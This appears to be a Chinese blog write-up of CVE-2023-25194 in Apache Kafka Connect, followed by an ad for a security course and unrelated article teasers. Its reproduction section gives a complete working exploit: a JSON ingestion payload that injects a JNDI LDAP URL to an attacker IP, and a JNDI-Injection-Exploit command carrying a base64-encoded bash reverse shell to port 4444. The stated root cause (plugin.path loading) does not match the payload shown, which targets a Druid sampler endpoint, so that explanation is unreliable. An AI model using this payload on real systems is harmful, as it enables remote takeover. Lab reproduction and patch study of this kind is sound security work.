news 2026/2/16 19:32:30

CVE-2023-25194 漏洞分析:Apache Kafka Connect 远程代码执行漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2023-25194 漏洞分析:Apache Kafka Connect 远程代码执行漏洞

漏洞概述

CVE-2023-25194是 Apache Kafka Connect 中披露的一个高危远程代码执行(RCE)漏洞,允许未经授权的攻击者通过 REST API 构造恶意请求,在服务器上执行任意代码。

  • 漏洞编号:CVE-2023-25194

  • 影响组件:Apache Kafka Connect

  • 漏洞类型:远程代码执行(RCE)

  • 漏洞等级:高危

  • 公开时间:2023 年 2 月

  • 修复版本:Apache Kafka 3.4.0+


漏洞成因分析

Kafka Connect 是 Apache Kafka 提供的一个插件化框架,允许用户将 Kafka 与外部系统(如数据库、Elasticsearch、HDFS 等)连接。

Kafka Connect 提供了一个 REST 接口,允许动态上传 connector 的配置和插件路径。漏洞的关键在于:

服务端未对 plugin.path 参数进行严格限制,允许攻击者加载任意目录下的恶意 JAR 包。

攻击者可以伪造一个 connector 配置请求,指定plugin.path为任意路径(如/tmp/evil/),并配合上传的恶意 JAR 文件,使 Kafka Connect 加载恶意类并执行,从而实现远程代码执行。


影响范围

受影响版本:

  • 所有 Apache Kafka <3.4.0的版本(主要影响 Kafka Connect 组件)

前提条件:

  • Kafka Connect 的 REST API 对外开放(默认监听在 8083 端口)

  • 未启用认证或鉴权机制

  • 攻击者能够上传或指定 JAR 路径

复现流程

环境使用vulhub

docker启动靶场环境—浏览器访问:xx.xx.xx.xx.:8888

首先来到漏洞位置

之后单击Apply,进行抓包

将下面的JSON替换

{ "type":"kafka", "spec":{ "type":"kafka", "ioConfig":{ "type":"kafka", "consumerProperties":{ "bootstrap.servers":"127.0.0.1:6666", "sasl.mechanism":"SCRAM-SHA-256", "security.protocol":"SASL_SSL", "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.200.138:1389/tdk4dd\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" }, "topic":"test", "useEarliestOffset":true, "inputFormat":{ "type":"regex", "pattern":"([\\s\\S]*)", "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{ }, "granularitySpec":{ "rollup":false } }, "tuningConfig":{ "type":"kafka" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } }

开启rmi服务的工具(启动的JAVA版本为java 8)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.200.138

同时监听4444端口,此端口为上述base64加密的反弹shell端口

将上面代码中的IP:port替换成自己工具生成的命令

注意!!!必须要使用ldap://xxxx/xxxx,使用rmi的工具有回显,但是监听不到

替换完后进行放包

工具回显,监听成功

修复方案

Apache 在 3.4.0 版本中修复了该漏洞,修复措施包括:

  • 限制 plugin.path 参数来源

  • 禁止通过 REST 接口动态配置 plugin 路径

  • 强制使用服务端配置中明确指定的 plugin 路径

建议措施:

  1. 立即升级Kafka 至3.4.0 或以上版本

  2. 禁止公网直接访问 Kafka Connect REST 接口

  3. 启用认证与授权机制(如 Basic Auth、OAuth)

  4. 设置白名单 plugin.path,避免动态加载任意目录

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/2 2:41:04

28、深入探索 Linux 内核与外设管理

深入探索 Linux 内核与外设管理 1. 内核启动软盘的创建与使用 在 Linux 系统中,当需要恢复没有活动内核的系统时,从软盘启动内核是一种可行的方法。创建启动软盘的步骤如下: 1. 将新格式化的软盘放入驱动器。 2. 进入内核源代码目录。 3. 运行以下命令: make bzdisk…

作者头像 李华
网站建设 2026/2/7 16:06:11

34、Linux 文件共享与网络传输全攻略

Linux 文件共享与网络传输全攻略 在现代的 Linux 系统使用中,文件共享和网络传输是非常重要的功能。下面将详细介绍如何使用 Samba 进行文件和打印机共享,以及如何利用 rsync 进行网络文件传输。 1. Samba 服务器的使用 1.1 启动 Samba 服务器 在添加用户和密码后,需要启…

作者头像 李华
网站建设 2026/1/30 10:54:20

7、线程同步与延迟执行技术详解

线程同步与延迟执行技术详解 1. 读写锁(Reader/Writer Locks) 读写锁本质上是具有 sx 锁语义的互斥锁。线程可以以读者(共享持有)或写者(独占持有)的身份持有读写锁。和互斥锁一样,读写锁支持优先级传播,并且线程在睡眠时不能持有读写锁(否则内核会崩溃)。读写锁…

作者头像 李华
网站建设 2026/2/13 3:19:18

13、并行端口打印机驱动与资源管理使用详解

并行端口打印机驱动与资源管理使用详解 1. 并行端口打印机驱动函数分析 在并行端口打印机驱动中,有多个关键函数负责不同的任务,下面为大家详细介绍这些函数的功能和实现。 1.1 lpt_timeout 函数 该函数是 lpt(4) 的回调函数,主要用于处理丢失或未处理的中断。其代码如…

作者头像 李华
网站建设 2026/2/13 7:33:30

11、使用 iptables 进行网络数据包处理与七层过滤

使用 iptables 进行网络数据包处理与七层过滤 1. 使用 iptables 进行数据包修改 “数据包修改(Packet Mangling)”这个术语可能会让人误以为它带有恶意性质,但实际上并非如此。数据包修改指的是在路由过程前后,有意改变 IP 数据包头部数据的过程。不过,并非 IP 数据包头…

作者头像 李华
网站建设 2026/2/12 17:54:53

8、防火墙前置知识:netfilter 与 iproute2

防火墙前置知识:netfilter 与 iproute2 1. 网络连接与 TCP 流量控制 为使网络连接正常工作,我们需要允许已建立的 TCP 连接的传入 TCP 流量。更准确地说,应拒绝不属于本计算机发起的 TCP 连接的任何传入 TCP 流量(即拒绝 TCP SYN 数据包)。 2. iproute2 软件包 iprout…

作者头像 李华